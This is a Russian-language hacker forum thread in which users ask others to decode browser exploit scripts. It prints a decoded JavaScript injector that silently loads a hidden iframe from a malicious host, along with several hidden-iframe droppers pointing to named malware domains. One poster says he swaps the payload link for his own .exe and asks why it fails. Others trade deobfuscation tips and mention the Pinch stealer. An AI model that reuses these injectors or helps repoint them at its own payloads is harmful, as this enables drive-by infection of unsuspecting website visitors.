|
Помогите расшифровать сплойты
Собсстно вот 3 сплойта как я думаю под 3 браузера, ясен пень что они делают, каспером паляться все 3 штуки но, всё-же кому не жалко расшифруйте их и выложите открытый код сюда пожалуйста если не жалко.
http://shinobi.org.ru/ps.lol (это тексовый файл) |
После расшифровки получаем вот такой вот код , который создает ифрейм на http://ad684d3b0894f93d47b8b248626ecdb1.cyb3rz.org/505/Xp/
Код:
<script>function Dn(YF,TM){ var aQ=new Date();var Mc= new Date(); Mc.setTime(aQ.getTime()+86400000); document.cookie = YF+"="+escape(TM)+";expires="+Mc.toGMTString(); }var FX='s1fVW',ot='1';var hp='update1.classictel.org',Sf='/html/';if(document.cookie.indexOf(FX+'='+ot) ==-1){var dlh=document.location.host;var up= 'ht'+'tp:'+'//'+( dlh != ''?'':Mo()) + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.')+'.'+Mo() +'.' + hp+Sf;var Pd=document.createElement('iframe');Pd.setAttribute ('src', up);Pd.height=2;Pd.width=1;Pd.frameBorder = 0; try{ document.body.appendChild ( Pd); Dn(FX, ot );} catch(e) {document.write ('<html><body></body></html>'); document.body.appendChild ( Pd);Dn ( FX,ot) ;} } |
Если не сложно, то объясни пожалуйста какими прогами\скриптами ты всё это расшифровал плиииз. Первое я знаю там в URL закодированно, а дальше как???
|
Цитата:
Прямая ссылка на .exe файлик размером 2,43 КБ и палящийся как Trojan-Downloader.Win32.Small.gld Ну с кодом всё ясно... var hp='update1.classictel.org',Sf='/html/'; - заменяю на свой .exe файл тестирую под 3 браузерами и не на одном моя прога не запускается, почему??? |
Код:
<iframe src="http://volkoeb.info/xd/go.php?sid=1" width=1 height=1 style="display:none"></iframe> |
http://volkoeb.info/xd/go.php?sid=1
Код:
<HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY> |
http://volkoeb.info/xd/go.php?sid=1
Код:
<iframe src="http://eliteproject.cn/ts/in.cgi?alex" width=1 height=1 style="display:none"></iframe> |
$aSH прокрути мой пост)
|
Огромная просьба объяснить как расшифровывать подобное плииз!!!!!!!!!!
|
_http://www.xakepy.ru/showthread.php?t=34170
|
Вот ещё сплойтеГ:
Код:
<script language="JavaScript">OTMOPO3b +1 к репе |
Цитата:
Ознакомился... помогает в некоторых случаях, а что делать если в сплойте 2 раза стоит "document.write", если оба раза подменить на alert, то он тока 1 раз выведется... блин лан. |
Код:
<div style="visibility:hidden"><iframe src="http://dnv-counter.com/nmd/trf/" width=1 height=1></iframe></div> |
я про сплойты в первом сообщении... их таким способом у меня не получилось расшифровать :(
|
Цитата:
В итоге мне надоело , продолжейте сами |
//оффтоп
ret_ok - насколько я помню это ответ гейта для пинча, так что будьте аккуратнее |
Цитата:
var hp='update1.classictel.org',Sf='/html/'; а это прямая ссылка на .exe файлик... ну заменяю на свой как обычно и ни под каким браузером не пашет ;( |
Trojan-Downloader.HTML.IFrame.o
вот еще сплойт
PHP код:
PHP код:
полный html файл здесь (слил через iptools) |
Цитата:
Можно в опере - там сможешь спокойно скопировать выводимый на экран текст... и сохранить его куда-нибудь) Шифрование может быть многоуровневым, так что, возможно, тебе прийдётся повторить эту процедуру несколкьо раз) P.S. Ну и стандартное предупреждение: в первый раз пробуй на машине, не имеющей прямой доступ к интернету (ну или просто отключись от него на время экспериментов) Не заметил вторую страницу :-/ МОДЕРАТОРУ: Удалите сообщение, если считаете бесполезным |
piflit молодец, но мог бы и айпи указать )
вместо 0121.0137.0225.0146 -> 81.95.149.102 з.ы. штука древняя.. но как её расписывали я ржал )) палится обычным пингом (конвертнуть айишник если кому надо можно тут http://ha.ckers.org/xss.htm ) |
| Время: 16:00 |